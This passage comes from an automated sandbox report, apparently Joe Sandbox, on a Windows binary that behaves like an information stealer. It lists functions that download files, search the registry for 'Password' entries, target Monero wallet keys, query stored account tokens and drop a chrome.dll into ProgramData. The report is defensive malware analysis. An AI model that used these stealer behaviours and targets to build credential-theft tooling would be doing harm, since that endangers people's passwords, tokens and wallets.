                                    • Source File: 00000000.00000002.2091020905.0000000000CD1000.00000040.00000001.01000000.00000003.sdmp, Offset: 00CD0000, based on PE: true
                                    • Associated: 00000000.00000002.2091008439.0000000000CD0000.00000004.00000001.01000000.00000003.sdmpDownload File
                                    • Associated: 00000000.00000002.2091020905.0000000000CFC000.00000040.00000001.01000000.00000003.sdmpDownload File
                                    • Associated: 00000000.00000002.2091020905.0000000000E0D000.00000040.00000001.01000000.00000003.sdmpDownload File
                                    • Associated: 00000000.00000002.2091020905.0000000000E19000.00000040.00000001.01000000.00000003.sdmpDownload File
                                    • Associated: 00000000.00000002.2091020905.0000000000E3E000.00000040.00000001.01000000.00000003.sdmpDownload File
                                    • Associated: 00000000.00000002.2091020905.0000000000FA6000.00000040.00000001.01000000.00000003.sdmpDownload File
                                    • Associated: 00000000.00000002.2091277826.0000000000FBA000.00000040.00000001.01000000.00000003.sdmpDownload File
                                    • Associated: 00000000.00000002.2091277826.000000000113E000.00000040.00000001.01000000.00000003.sdmpDownload File
                                    • Associated: 00000000.00000002.2091277826.000000000121D000.00000040.00000001.01000000.00000003.sdmpDownload File
                                    • Associated: 00000000.00000002.2091277826.000000000123F000.00000040.00000001.01000000.00000003.sdmpDownload File
                                    • Associated: 00000000.00000002.2091277826.0000000001249000.00000040.00000001.01000000.00000003.sdmpDownload File
                                    • Associated: 00000000.00000002.2091277826.0000000001257000.00000040.00000001.01000000.00000003.sdmpDownload File
                                    • Associated: 00000000.00000002.2091487386.0000000001258000.00000080.00000001.01000000.00000003.sdmpDownload File
                                    • Associated: 00000000.00000002.2091582506.00000000013F3000.00000040.00000001.01000000.00000003.sdmpDownload File
                                    • Associated: 00000000.00000002.2091595746.00000000013F4000.00000080.00000001.01000000.00000003.sdmpDownload File
                                    Joe Sandbox IDA Plugin
                                    • Snapshot File: hcaresult_0_2_cd0000_file.jbxd
                                    Yara matches
                                    Similarity
                                    • API ID: Heap__aulldiv$AllocateGlobalMemoryProcessStatuswsprintf
                                    • String ID: %d MB$@
                                    • API String ID: 2774356765-3474575989
                                    • Opcode ID: 325d3149a6c3a1f70109ad39ce9c7bc4865c68fd8507d1d66f237d057fc17735
                                    • Instruction ID: 7590d76db0e07b55fffc8c209982b7601f1eca87afb1b51ed28aa9c96373a799
                                    • Opcode Fuzzy Hash: 325d3149a6c3a1f70109ad39ce9c7bc4865c68fd8507d1d66f237d057fc17735
                                    • Instruction Fuzzy Hash: BD2117B1E44348ABDB00DFD5CC4AFAEB7B8FB45B10F104519F619BB280D77869048BA5
                                    Function 00CD60F0 Relevance: 13.6, APIs: 9, Instructions: 133networkfileCOMMON
                                    Download Yara Rule
                                    APIs
                                      • Part of subcall function 00CEAAB0: lstrcpy.KERNEL32(?,00000000), ref: 00CEAAF6
                                      • Part of subcall function 00CD4800: lstrlen.KERNEL32(00000000,00000000,0000003C), ref: 00CD4889
                                      • Part of subcall function 00CD4800: InternetCrackUrlA.WININET(00000000,00000000), ref: 00CD4899
                                    • InternetOpenA.WININET(00CF0DFB,00000001,00000000,00000000,00000000), ref: 00CD615F
                                    • StrCmpCA.SHLWAPI(?,0159E410), ref: 00CD6197
                                    • InternetOpenUrlA.WININET(00000000,00000000,00000000,00000000,00000100,00000000), ref: 00CD61DF
                                    • CreateFileA.KERNEL32(00000000,40000000,00000003,00000000,00000002,00000080,00000000), ref: 00CD6203
                                    • InternetReadFile.WININET(?,?,00000400,?), ref: 00CD622C
                                    • WriteFile.KERNEL32(?,?,00000000,?,00000000), ref: 00CD625A
                                    • CloseHandle.KERNEL32(?,?,00000400), ref: 00CD6299
                                    • InternetCloseHandle.WININET(?), ref: 00CD62A3
                                    • InternetCloseHandle.WININET(00000000), ref: 00CD62B0
                                    Memory Dump Source
                                    • Source File: 00000000.00000002.2091020905.0000000000CD1000.00000040.00000001.01000000.00000003.sdmp, Offset: 00CD0000, based on PE: true
                                    • Associated: 00000000.00000002.2091008439.0000000000CD0000.00000004.00000001.01000000.00000003.sdmpDownload File
                                    • Associated: 00000000.00000002.2091020905.0000000000CFC000.00000040.00000001.01000000.00000003.sdmpDownload File
                                    • Associated: 00000000.00000002.2091020905.0000000000E0D000.00000040.00000001.01000000.00000003.sdmpDownload File
                                    • Associated: 00000000.00000002.2091020905.0000000000E19000.00000040.00000001.01000000.00000003.sdmpDownload File
                                    • Associated: 00000000.00000002.2091020905.0000000000E3E000.00000040.00000001.01000000.00000003.sdmpDownload File
                                    • Associated: 00000000.00000002.2091020905.0000000000FA6000.00000040.00000001.01000000.00000003.sdmpDownload File
                                    • Associated: 00000000.00000002.2091277826.0000000000FBA000.00000040.00000001.01000000.00000003.sdmpDownload File
                                    • Associated: 00000000.00000002.2091277826.000000000113E000.00000040.00000001.01000000.00000003.sdmpDownload File
                                    • Associated: 00000000.00000002.2091277826.000000000121D000.00000040.00000001.01000000.00000003.sdmpDownload File
                                    • Associated: 00000000.00000002.2091277826.000000000123F000.00000040.00000001.01000000.00000003.sdmpDownload File
                                    • Associated: 00000000.00000002.2091277826.0000000001249000.00000040.00000001.01000000.00000003.sdmpDownload File
                                    • Associated: 00000000.00000002.2091277826.0000000001257000.00000040.00000001.01000000.00000003.sdmpDownload File
                                    • Associated: 00000000.00000002.2091487386.0000000001258000.00000080.00000001.01000000.00000003.sdmpDownload File
                                    • Associated: 00000000.00000002.2091582506.00000000013F3000.00000040.00000001.01000000.00000003.sdmpDownload File
                                    • Associated: 00000000.00000002.2091595746.00000000013F4000.00000080.00000001.01000000.00000003.sdmpDownload File
                                    Joe Sandbox IDA Plugin
                                    • Snapshot File: hcaresult_0_2_cd0000_file.jbxd
                                    Yara matches
                                    Similarity
                                    • API ID: Internet$CloseFileHandle$Open$CrackCreateReadWritelstrcpylstrlen
                                    • String ID:
                                    • API String ID: 2507841554-0
                                    • Opcode ID: 93457871111a5313c1f7643ef20b04549e770dbc6ab280431a49153d10281b2d
                                    • Instruction ID: a4f56cfaded0b868399d5d9208ff4885bb71782624ee43d9ced828c7e101f409
                                    • Opcode Fuzzy Hash: 93457871111a5313c1f7643ef20b04549e770dbc6ab280431a49153d10281b2d
                                    • Instruction Fuzzy Hash: AA514FB1A00218ABDB20EF91CC45FEEB779AB44305F108099F705A72C1DB746B89DF95
                                    Function 00D5012E Relevance: 12.6, APIs: 4, Strings: 3, Instructions: 303COMMONLIBRARYCODE
                                    Download Yara Rule
                                    APIs
                                    • type_info::operator==.LIBVCRUNTIME ref: 00D5024D
                                    • ___TypeMatch.LIBVCRUNTIME ref: 00D5035B
                                    • CatchIt.LIBVCRUNTIME ref: 00D503AC
                                    • CallUnexpected.LIBVCRUNTIME ref: 00D504C8
                                    Strings
                                    Memory Dump Source
                                    • Source File: 00000000.00000002.2091020905.0000000000CFC000.00000040.00000001.01000000.00000003.sdmp, Offset: 00CD0000, based on PE: true
                                    • Associated: 00000000.00000002.2091008439.0000000000CD0000.00000004.00000001.01000000.00000003.sdmpDownload File
                                    • Associated: 00000000.00000002.2091020905.0000000000CD1000.00000040.00000001.01000000.00000003.sdmpDownload File
                                    • Associated: 00000000.00000002.2091020905.0000000000E0D000.00000040.00000001.01000000.00000003.sdmpDownload File
                                    • Associated: 00000000.00000002.2091020905.0000000000E19000.00000040.00000001.01000000.00000003.sdmpDownload File
                                    • Associated: 00000000.00000002.2091020905.0000000000E3E000.00000040.00000001.01000000.00000003.sdmpDownload File
                                    • Associated: 00000000.00000002.2091020905.0000000000FA6000.00000040.00000001.01000000.00000003.sdmpDownload File
                                    • Associated: 00000000.00000002.2091277826.0000000000FBA000.00000040.00000001.01000000.00000003.sdmpDownload File
                                    • Associated: 00000000.00000002.2091277826.000000000113E000.00000040.00000001.01000000.00000003.sdmpDownload File
                                    • Associated: 00000000.00000002.2091277826.000000000121D000.00000040.00000001.01000000.00000003.sdmpDownload File
                                    • Associated: 00000000.00000002.2091277826.000000000123F000.00000040.00000001.01000000.00000003.sdmpDownload File
                                    • Associated: 00000000.00000002.2091277826.0000000001249000.00000040.00000001.01000000.00000003.sdmpDownload File
                                    • Associated: 00000000.00000002.2091277826.0000000001257000.00000040.00000001.01000000.00000003.sdmpDownload File
                                    • Associated: 00000000.00000002.2091487386.0000000001258000.00000080.00000001.01000000.00000003.sdmpDownload File
                                    • Associated: 00000000.00000002.2091582506.00000000013F3000.00000040.00000001.01000000.00000003.sdmpDownload File
                                    • Associated: 00000000.00000002.2091595746.00000000013F4000.00000080.00000001.01000000.00000003.sdmpDownload File
                                    Joe Sandbox IDA Plugin
                                    • Snapshot File: hcaresult_0_2_cd0000_file.jbxd
                                    Yara matches
                                    Similarity
                                    • API ID: CallCatchMatchTypeUnexpectedtype_info::operator==
                                    • String ID: csm$csm$csm
                                    • API String ID: 2356445960-393685449
                                    • Opcode ID: 0aa7d8e53ae69f4e65a14af659269dcd6c8d533d9c3592b436de8e99f8465a7b
                                    • Instruction ID: b4fc727b0fdbe08a26d89cc0528200ec590e1702169542124d6a830510a50b1f
                                    • Opcode Fuzzy Hash: 0aa7d8e53ae69f4e65a14af659269dcd6c8d533d9c3592b436de8e99f8465a7b
                                    • Instruction Fuzzy Hash: 58B17871801209EFCF25DFA4C8819AEBBB5FF14312F18816AED156B212D734DA59CBB1
                                    Function 00CD7330 Relevance: 12.4, APIs: 6, Strings: 1, Instructions: 149registrymemoryCOMMON
                                    Download Yara Rule
                                    APIs
                                    • RegOpenKeyExA.ADVAPI32(80000001,?,00000000,00020019,?), ref: 00CD739A
                                    • RegEnumValueA.ADVAPI32(?,00000000,00000000,000000FF,00000000,00000003,?,?), ref: 00CD7411
                                    • StrStrA.SHLWAPI(00000000,Password,00000000), ref: 00CD746D
                                    • GetProcessHeap.KERNEL32(00000000,?), ref: 00CD74B2
                                    • HeapFree.KERNEL32(00000000), ref: 00CD74B9
                                    • task.LIBCPMTD ref: 00CD75B5
                                    Strings
                                    Memory Dump Source
                                    • Source File: 00000000.00000002.2091020905.0000000000CD1000.00000040.00000001.01000000.00000003.sdmp, Offset: 00CD0000, based on PE: true
                                    • Associated: 00000000.00000002.2091008439.0000000000CD0000.00000004.00000001.01000000.00000003.sdmpDownload File
                                    • Associated: 00000000.00000002.2091020905.0000000000CFC000.00000040.00000001.01000000.00000003.sdmpDownload File
                                    • Associated: 00000000.00000002.2091020905.0000000000E0D000.00000040.00000001.01000000.00000003.sdmpDownload File
                                    • Associated: 00000000.00000002.2091020905.0000000000E19000.00000040.00000001.01000000.00000003.sdmpDownload File
                                    • Associated: 00000000.00000002.2091020905.0000000000E3E000.00000040.00000001.01000000.00000003.sdmpDownload File
                                    • Associated: 00000000.00000002.2091020905.0000000000FA6000.00000040.00000001.01000000.00000003.sdmpDownload File
                                    • Associated: 00000000.00000002.2091277826.0000000000FBA000.00000040.00000001.01000000.00000003.sdmpDownload File
                                    • Associated: 00000000.00000002.2091277826.000000000113E000.00000040.00000001.01000000.00000003.sdmpDownload File
                                    • Associated: 00000000.00000002.2091277826.000000000121D000.00000040.00000001.01000000.00000003.sdmpDownload File
                                    • Associated: 00000000.00000002.2091277826.000000000123F000.00000040.00000001.01000000.00000003.sdmpDownload File
                                    • Associated: 00000000.00000002.2091277826.0000000001249000.00000040.00000001.01000000.00000003.sdmpDownload File
                                    • Associated: 00000000.00000002.2091277826.0000000001257000.00000040.00000001.01000000.00000003.sdmpDownload File
                                    • Associated: 00000000.00000002.2091487386.0000000001258000.00000080.00000001.01000000.00000003.sdmpDownload File
                                    • Associated: 00000000.00000002.2091582506.00000000013F3000.00000040.00000001.01000000.00000003.sdmpDownload File
                                    • Associated: 00000000.00000002.2091595746.00000000013F4000.00000080.00000001.01000000.00000003.sdmpDownload File
                                    Joe Sandbox IDA Plugin
                                    • Snapshot File: hcaresult_0_2_cd0000_file.jbxd
                                    Yara matches
                                    Similarity
                                    • API ID: Heap$EnumFreeOpenProcessValuetask
                                    • String ID: Password
                                    • API String ID: 775622407-3434357891
                                    • Opcode ID: 6c42d8c405a14fc0379b0c17a9f20643dc8e80c8c6241adf0c3d9ff496613fc4
                                    • Instruction ID: b4da1d063f9a24c666867899afcdefab4ad1770f6ec29d0d13df6916ea61b869
                                    • Opcode Fuzzy Hash: 6c42d8c405a14fc0379b0c17a9f20643dc8e80c8c6241adf0c3d9ff496613fc4
                                    • Instruction Fuzzy Hash: 1B610EB590416C9BDB24DB50DC55FD9B7B8BF44300F0082EAE649A6241EF70ABC9DFA1
                                    Function 00CDBA50 Relevance: 12.3, APIs: 4, Strings: 4, Instructions: 284stringCOMMON
                                    Download Yara Rule
                                    APIs
                                      • Part of subcall function 00CEAA50: lstrcpy.KERNEL32(00CF0E1A,00000000), ref: 00CEAA98
                                      • Part of subcall function 00CEACC0: lstrlen.KERNEL32(?,01598830,?,\Monero\wallet.keys,00CF0E1A), ref: 00CEACD5
                                      • Part of subcall function 00CEACC0: lstrcpy.KERNEL32(00000000), ref: 00CEAD14
                                      • Part of subcall function 00CEACC0: lstrcat.KERNEL32(00000000,00000000), ref: 00CEAD22
                                      • Part of subcall function 00CEAC30: lstrcpy.KERNEL32(00000000,?), ref: 00CEAC82
                                      • Part of subcall function 00CEAC30: lstrcat.KERNEL32(00000000), ref: 00CEAC92
                                      • Part of subcall function 00CEABB0: lstrcpy.KERNEL32(?,00CF0E1A), ref: 00CEAC15
                                      • Part of subcall function 00CEAAB0: lstrcpy.KERNEL32(?,00000000), ref: 00CEAAF6
                                    • lstrlen.KERNEL32(00000000), ref: 00CDBC6F
                                      • Part of subcall function 00CE8FC0: LocalAlloc.KERNEL32(00000040,-00000001), ref: 00CE8FE2
                                    • StrStrA.SHLWAPI(00000000,AccountId), ref: 00CDBC9D
                                    • lstrlen.KERNEL32(00000000), ref: 00CDBD75
                                    • lstrlen.KERNEL32(00000000), ref: 00CDBD89
                                    Strings
                                    Memory Dump Source
                                    • Source File: 00000000.00000002.2091020905.0000000000CD1000.00000040.00000001.01000000.00000003.sdmp, Offset: 00CD0000, based on PE: true
                                    • Associated: 00000000.00000002.2091008439.0000000000CD0000.00000004.00000001.01000000.00000003.sdmpDownload File
                                    • Associated: 00000000.00000002.2091020905.0000000000CFC000.00000040.00000001.01000000.00000003.sdmpDownload File
                                    • Associated: 00000000.00000002.2091020905.0000000000E0D000.00000040.00000001.01000000.00000003.sdmpDownload File
                                    • Associated: 00000000.00000002.2091020905.0000000000E19000.00000040.00000001.01000000.00000003.sdmpDownload File
                                    • Associated: 00000000.00000002.2091020905.0000000000E3E000.00000040.00000001.01000000.00000003.sdmpDownload File
                                    • Associated: 00000000.00000002.2091020905.0000000000FA6000.00000040.00000001.01000000.00000003.sdmpDownload File
                                    • Associated: 00000000.00000002.2091277826.0000000000FBA000.00000040.00000001.01000000.00000003.sdmpDownload File
                                    • Associated: 00000000.00000002.2091277826.000000000113E000.00000040.00000001.01000000.00000003.sdmpDownload File
                                    • Associated: 00000000.00000002.2091277826.000000000121D000.00000040.00000001.01000000.00000003.sdmpDownload File
                                    • Associated: 00000000.00000002.2091277826.000000000123F000.00000040.00000001.01000000.00000003.sdmpDownload File
                                    • Associated: 00000000.00000002.2091277826.0000000001249000.00000040.00000001.01000000.00000003.sdmpDownload File
                                    • Associated: 00000000.00000002.2091277826.0000000001257000.00000040.00000001.01000000.00000003.sdmpDownload File
                                    • Associated: 00000000.00000002.2091487386.0000000001258000.00000080.00000001.01000000.00000003.sdmpDownload File
                                    • Associated: 00000000.00000002.2091582506.00000000013F3000.00000040.00000001.01000000.00000003.sdmpDownload File
                                    • Associated: 00000000.00000002.2091595746.00000000013F4000.00000080.00000001.01000000.00000003.sdmpDownload File
                                    Joe Sandbox IDA Plugin
                                    • Snapshot File: hcaresult_0_2_cd0000_file.jbxd
                                    Yara matches
                                    Similarity
                                    • API ID: lstrcpy$lstrlen$lstrcat$AllocLocal
                                    • String ID: AccountId$AccountTokens$AccountTokens$SELECT service, encrypted_token FROM token_service
                                    • API String ID: 3073930149-1079375795
                                    • Opcode ID: 59bdb55eea5909f97814de7b240f62b9797964802278e45925aa1966c336b857
                                    • Instruction ID: f4b26731d78b0d471640f97141f577640fa6eb93b52b6dea866b3783a26dc76b
                                    • Opcode Fuzzy Hash: 59bdb55eea5909f97814de7b240f62b9797964802278e45925aa1966c336b857
                                    • Instruction Fuzzy Hash: E4B15C72D10248AFCB14FBA1CCA6EEE7339AF54300F5145A9F506621A1EF347B48DB62
                                    Function 00CE6A10 Relevance: 12.3, APIs: 6, Strings: 1, Instructions: 27COMMON
                                    Download Yara Rule
                                    APIs
                                    Strings
                                    Memory Dump Source
                                    • Source File: 00000000.00000002.2091020905.0000000000CD1000.00000040.00000001.01000000.00000003.sdmp, Offset: 00CD0000, based on PE: true
                                    • Associated: 00000000.00000002.2091008439.0000000000CD0000.00000004.00000001.01000000.00000003.sdmpDownload File
                                    • Associated: 00000000.00000002.2091020905.0000000000CFC000.00000040.00000001.01000000.00000003.sdmpDownload File
                                    • Associated: 00000000.00000002.2091020905.0000000000E0D000.00000040.00000001.01000000.00000003.sdmpDownload File
                                    • Associated: 00000000.00000002.2091020905.0000000000E19000.00000040.00000001.01000000.00000003.sdmpDownload File
                                    • Associated: 00000000.00000002.2091020905.0000000000E3E000.00000040.00000001.01000000.00000003.sdmpDownload File
                                    • Associated: 00000000.00000002.2091020905.0000000000FA6000.00000040.00000001.01000000.00000003.sdmpDownload File
                                    • Associated: 00000000.00000002.2091277826.0000000000FBA000.00000040.00000001.01000000.00000003.sdmpDownload File
                                    • Associated: 00000000.00000002.2091277826.000000000113E000.00000040.00000001.01000000.00000003.sdmpDownload File
                                    • Associated: 00000000.00000002.2091277826.000000000121D000.00000040.00000001.01000000.00000003.sdmpDownload File
                                    • Associated: 00000000.00000002.2091277826.000000000123F000.00000040.00000001.01000000.00000003.sdmpDownload File
                                    • Associated: 00000000.00000002.2091277826.0000000001249000.00000040.00000001.01000000.00000003.sdmpDownload File
                                    • Associated: 00000000.00000002.2091277826.0000000001257000.00000040.00000001.01000000.00000003.sdmpDownload File
                                    • Associated: 00000000.00000002.2091487386.0000000001258000.00000080.00000001.01000000.00000003.sdmpDownload File
                                    • Associated: 00000000.00000002.2091582506.00000000013F3000.00000040.00000001.01000000.00000003.sdmpDownload File
                                    • Associated: 00000000.00000002.2091595746.00000000013F4000.00000080.00000001.01000000.00000003.sdmpDownload File
                                    Joe Sandbox IDA Plugin
                                    • Snapshot File: hcaresult_0_2_cd0000_file.jbxd
                                    Yara matches
                                    Similarity
                                    • API ID: ExitProcess$DefaultLangUser
                                    • String ID: *
                                    • API String ID: 1494266314-163128923
                                    • Opcode ID: ea5cf86c039205b14e581af9da3a76661df189ef6a3d63b66f5916051fa3b39a
                                    • Instruction ID: 3eb69e4e94b2d6a2b872a616505a2adca0dd35adcd810739e8155f30770ae3da
                                    • Opcode Fuzzy Hash: ea5cf86c039205b14e581af9da3a76661df189ef6a3d63b66f5916051fa3b39a
                                    • Instruction Fuzzy Hash: B5F05E71E0C38DEFD344AFE0EC09B5CBBB0EB06747F1141A6F61996190C6705A50AB61
                                    Function 00CE08A0 Relevance: 10.8, APIs: 4, Strings: 2, Instructions: 255fileCOMMON
                                    Download Yara Rule
                                    APIs
                                      • Part of subcall function 00CEAA50: lstrcpy.KERNEL32(00CF0E1A,00000000), ref: 00CEAA98
                                      • Part of subcall function 00CE9850: CreateFileA.KERNEL32(00000000,40000000,00000000,00000000,00000002,00000080,00000000,?,00CE08DC,C:\ProgramData\chrome.dll), ref: 00CE9871
                                      • Part of subcall function 00CDA090: LoadLibraryA.KERNEL32(C:\ProgramData\chrome.dll), ref: 00CDA098
                                    • StrCmpCA.SHLWAPI(00000000,01598930), ref: 00CE0922
                                    • StrCmpCA.SHLWAPI(00000000,015989B0), ref: 00CE0B79
                                    • StrCmpCA.SHLWAPI(00000000,01598820), ref: 00CE0A0C
                                      • Part of subcall function 00CEAAB0: lstrcpy.KERNEL32(?,00000000), ref: 00CEAAF6
                                    • DeleteFileA.KERNEL32(C:\ProgramData\chrome.dll), ref: 00CE0C35
                                    Strings
                                    • C:\ProgramData\chrome.dll, xrefs: 00CE0C30
                                    • C:\ProgramData\chrome.dll, xrefs: 00CE08CD
                                    Memory Dump Source
                                    • Source File: 00000000.00000002.2091020905.0000000000CD1000.00000040.00000001.01000000.00000003.sdmp, Offset: 00CD0000, based on PE: true
                                    • Associated: 00000000.00000002.2091008439.0000000000CD0000.00000004.00000001.01000000.00000003.sdmpDownload File
                                    • Associated: 00000000.00000002.2091020905.0000000000CFC000.00000040.00000001.01000000.00000003.sdmpDownload File
                                    • Associated: 00000000.00000002.2091020905.0000000000E0D000.00000040.00000001.01000000.00000003.sdmpDownload File
                                    • Associated: 00000000.00000002.2091020905.0000000000E19000.00000040.00000001.01000000.00000003.sdmpDownload File
                                    • Associated: 00000000.00000002.2091020905.0000000000E3E000.00000040.00000001.01000000.00000003.sdmpDownload File
                                    • Associated: 00000000.00000002.2091020905.0000000000FA6000.00000040.00000001.01000000.00000003.sdmpDownload File
                                    • Associated: 00000000.00000002.2091277826.0000000000FBA000.00000040.00000001.01000000.00000003.sdmpDownload File
                                    • Associated: 00000000.00000002.2091277826.000000000113E000.00000040.00000001.01000000.00000003.sdmpDownload File
                                    • Associated: 00000000.00000002.2091277826.000000000121D000.00000040.00000001.01000000.00000003.sdmpDownload File
                                    • Associated: 00000000.00000002.2091277826.000000000123F000.00000040.00000001.01000000.00000003.sdmpDownload File
                                    • Associated: 00000000.00000002.2091277826.0000000001249000.00000040.00000001.01000000.00000003.sdmpDownload File
                                    • Associated: 00000000.00000002.2091277826.0000000001257000.00000040.00000001.01000000.00000003.sdmpDownload File
                                    • Associated: 00000000.00000002.2091487386.0000000001258000.00000080.00000001.01000000.00000003.sdmpDownload File
                                    • Associated: 00000000.00000002.2091582506.00000000013F3000.00000040.00000001.01000000.00000003.sdmpDownload File
                                    • Associated: 00000000.00000002.2091595746.00000000013F4000.00000080.00000001.01000000.00000003.sdmpDownload File
                                    Joe Sandbox IDA Plugin
                                    • Snapshot File: hcaresult_0_2_cd0000_file.jbxd
                                    Yara matches
                                    Similarity
                                    • API ID: Filelstrcpy$CreateDeleteLibraryLoad
                                    • String ID: C:\ProgramData\chrome.dll$C:\ProgramData\chrome.dll
                                    • API String ID: 585553867-663540502
                                    • Opcode ID: c80a36578be47af9cf56c56da86a8fb1e3d5217d1adcc0cc07a77fd910451a82
                                    • Instruction ID: d139460ffdcd7588a7aaf8dbee2933c54c99ce7307ff58d1e26d37550ea16a29
                                    • Opcode Fuzzy Hash: c80a36578be47af9cf56c56da86a8fb1e3d5217d1adcc0cc07a77fd910451a82
                                    • Instruction Fuzzy Hash: DBA18771B002489FCB28FF65D992EAD7776EF95300F11816DE80A9F351DB30AA05DB92
                                    Function 00CD9E30 Relevance: 10.7, APIs: 6, Strings: 1, Instructions: 163stringsleepCOMMON
                                    Download Yara Rule
                                    APIs
                                      • Part of subcall function 00CE8CF0: GetSystemTime.KERNEL32(00CF0E1B,01599BB8,00CF05B6,?,?,00CD13F9,?,0000001A,00CF0E1B,00000000,?,01598830,?,\Monero\wallet.keys,00CF0E1A), ref: 00CE8D16
                                    • wsprintfA.USER32 ref: 00CD9E7F
                                    • lstrcat.KERNEL32(00000000,?), ref: 00CD9F03
                                    • lstrcat.KERNEL32(00000000,?), ref: 00CD9F17
                                    • lstrcat.KERNEL32(00000000,00CF12D8), ref: 00CD9F29
                                    • lstrcpy.KERNEL32(?,00000000), ref: 00CD9F7C
                                    • Sleep.KERNEL32(00001388), ref: 00CDA013
                                      • Part of subcall function 00CE99A0: CreateToolhelp32Snapshot.KERNEL32(00000002,00000000), ref: 00CE99C5
                                      • Part of subcall function 00CE99A0: Process32First.KERNEL32(00CDA056,00000128), ref: 00CE99D9
                                      • Part of subcall function 00CE99A0: Process32Next.KERNEL32(00CDA056,00000128), ref: 00CE99F2
                                      • Part of subcall function 00CE99A0: OpenProcess.KERNEL32(00000001,00000000,?), ref: 00CE9A4E
                                      • Part of subcall function 00CE99A0: TerminateProcess.KERNEL32(00000000,00000000), ref: 00CE9A6C
                                      • Part of subcall function 00CE99A0: CloseHandle.KERNEL32(00000000), ref: 00CE9A79
                                      • Part of subcall function 00CE99A0: CloseHandle.KERNEL32(00CDA056), ref: 00CE9A88
                                    Strings
                                    Memory Dump Source
                                    • Source File: 00000000.00000002.2091020905.0000000000CD1000.00000040.00000001.01000000.00000003.sdmp, Offset: 00CD0000, based on PE: true
                                    • Associated: 00000000.00000002.2091008439.0000000000CD0000.00000004.00000001.01000000.00000003.sdmpDownload File
                                    • Associated: 00000000.00000002.2091020905.0000000000CFC000.00000040.00000001.01000000.00000003.sdmpDownload File
                                    • Associated: 00000000.00000002.2091020905.0000000000E0D000.00000040.00000001.01000000.00000003.sdmpDownload File
                                    • Associated: 00000000.00000002.2091020905.0000000000E19000.00000040.00000001.01000000.00000003.sdmpDownload File
                                    • Associated: 00000000.00000002.2091020905.0000000000E3E000.00000040.00000001.01000000.00000003.sdmpDownload File
                                    • Associated: 00000000.00000002.2091020905.0000000000FA6000.00000040.00000001.01000000.00000003.sdmpDownload File
                                    • Associated: 00000000.00000002.2091277826.0000000000FBA000.00000040.00000001.01000000.00000003.sdmpDownload File
                                    • Associated: 00000000.00000002.2091277826.000000000113E000.00000040.00000001.01000000.00000003.sdmpDownload File
                                    • Associated: 00000000.00000002.2091277826.000000000121D000.00000040.00000001.01000000.00000003.sdmpDownload File
                                    • Associated: 00000000.00000002.2091277826.000000000123F000.00000040.00000001.01000000.00000003.sdmpDownload File
                                    • Associated: 00000000.00000002.2091277826.0000000001249000.00000040.00000001.01000000.00000003.sdmpDownload File
                                    • Associated: 00000000.00000002.2091277826.0000000001257000.00000040.00000001.01000000.00000003.sdmpDownload File
                                    • Associated: 00000000.00000002.2091487386.0000000001258000.00000080.00000001.01000000.00000003.sdmpDownload File
                                    • Associated: 00000000.00000002.2091582506.00000000013F3000.00000040.00000001.01000000.00000003.sdmpDownload File
                                    • Associated: 00000000.00000002.2091595746.00000000013F4000.00000080.00000001.01000000.00000003.sdmpDownload File
                                    Joe Sandbox IDA Plugin
                                    • Snapshot File: hcaresult_0_2_cd0000_file.jbxd
                                    Yara matches
                                    Similarity
                                    • API ID: lstrcat$CloseHandleProcessProcess32$CreateFirstNextOpenSleepSnapshotSystemTerminateTimeToolhelp32lstrcpywsprintf
                                    • String ID: D
                                    • API String ID: 531068710-2746444292
                                    • Opcode ID: ec23bc8e76d72c2e08a11fe299f1bd982562ddf499f41b18210b200278e2e372
                                    • Instruction ID: 2ab78387ba04ff291c63685dd4e4ee11cf4c1996988dd24e807f706e2776d1f8
                                    • Opcode Fuzzy Hash: ec23bc8e76d72c2e08a11fe299f1bd982562ddf499f41b18210b200278e2e372
                                    • Instruction Fuzzy Hash: AE5188B5D44308ABDB24EBA0DC4AFDA7778AF44700F044598B60DAB2C1EB75AB84DF51
                                    Function 00D4F9E8 Relevance: 10.6, APIs: 5, Strings: 1, Instructions: 120COMMON
                                    Download Yara Rule
                                    APIs
                                    • _ValidateLocalCookies.LIBCMT ref: 00D4FA1F
                                    • ___except_validate_context_record.LIBVCRUNTIME ref: 00D4FA27
                                    • _ValidateLocalCookies.LIBCMT ref: 00D4FAB0
                                    • __IsNonwritableInCurrentImage.LIBCMT ref: 00D4FADB
                                    • _ValidateLocalCookies.LIBCMT ref: 00D4FB30
                                    Strings
                                    Memory Dump Source
                                    • Source File: 00000000.00000002.2091020905.0000000000CFC000.00000040.00000001.01000000.00000003.sdmp, Offset: 00CD0000, based on PE: true
                                    • Associated: 00000000.00000002.2091008439.0000000000CD0000.00000004.00000001.01000000.00000003.sdmpDownload File
                                    • Associated: 00000000.00000002.2091020905.0000000000CD1000.00000040.00000001.01000000.00000003.sdmpDownload File
                                    • Associated: 00000000.00000002.2091020905.0000000000E0D000.00000040.00000001.01000000.00000003.sdmpDownload File
                                    • Associated: 00000000.00000002.2091020905.0000000000E19000.00000040.00000001.01000000.00000003.sdmpDownload File
                                    • Associated: 00000000.00000002.2091020905.0000000000E3E000.00000040.00000001.01000000.00000003.sdmpDownload File
                                    • Associated: 00000000.00000002.2091020905.0000000000FA6000.00000040.00000001.01000000.00000003.sdmpDownload File
                                    • Associated: 00000000.00000002.2091277826.0000000000FBA000.00000040.00000001.01000000.00000003.sdmpDownload File
                                    • Associated: 00000000.00000002.2091277826.000000000113E000.00000040.00000001.01000000.00000003.sdmpDownload File
                                    • Associated: 00000000.00000002.2091277826.000000000121D000.00000040.00000001.01000000.00000003.sdmpDownload File
                                    • Associated: 00000000.00000002.2091277826.000000000123F000.00000040.00000001.01000000.00000003.sdmpDownload File
                                    • Associated: 00000000.00000002.2091277826.0000000001249000.00000040.00000001.01000000.00000003.sdmpDownload File
                                    • Associated: 00000000.00000002.2091277826.0000000001257000.00000040.00000001.01000000.00000003.sdmpDownload File
                                    • Associated: 00000000.00000002.2091487386.0000000001258000.00000080.00000001.01000000.00000003.sdmpDownload File
                                    • Associated: 00000000.00000002.2091582506.00000000013F3000.00000040.00000001.01000000.00000003.sdmpDownload File
                                    • Associated: 00000000.00000002.2091595746.00000000013F4000.00000080.00000001.01000000.00000003.sdmpDownload File
                                    Joe Sandbox IDA Plugin
                                    • Snapshot File: hcaresult_0_2_cd0000_file.jbxd
                                    Yara matches
                                    Similarity
                                    • API ID: CookiesLocalValidate$CurrentImageNonwritable___except_validate_context_record
                                    • String ID: csm
                                    • API String ID: 1170836740-1018135373
                                    • Opcode ID: 73bc2f32c22e0088af07211562fb197d2e7e36a363a5a26788fe809058fe556b
                                    • Instruction ID: 7663e7ccdedc23c69a84b06d2c4d501894150c199b1c74534b703fd221627db1
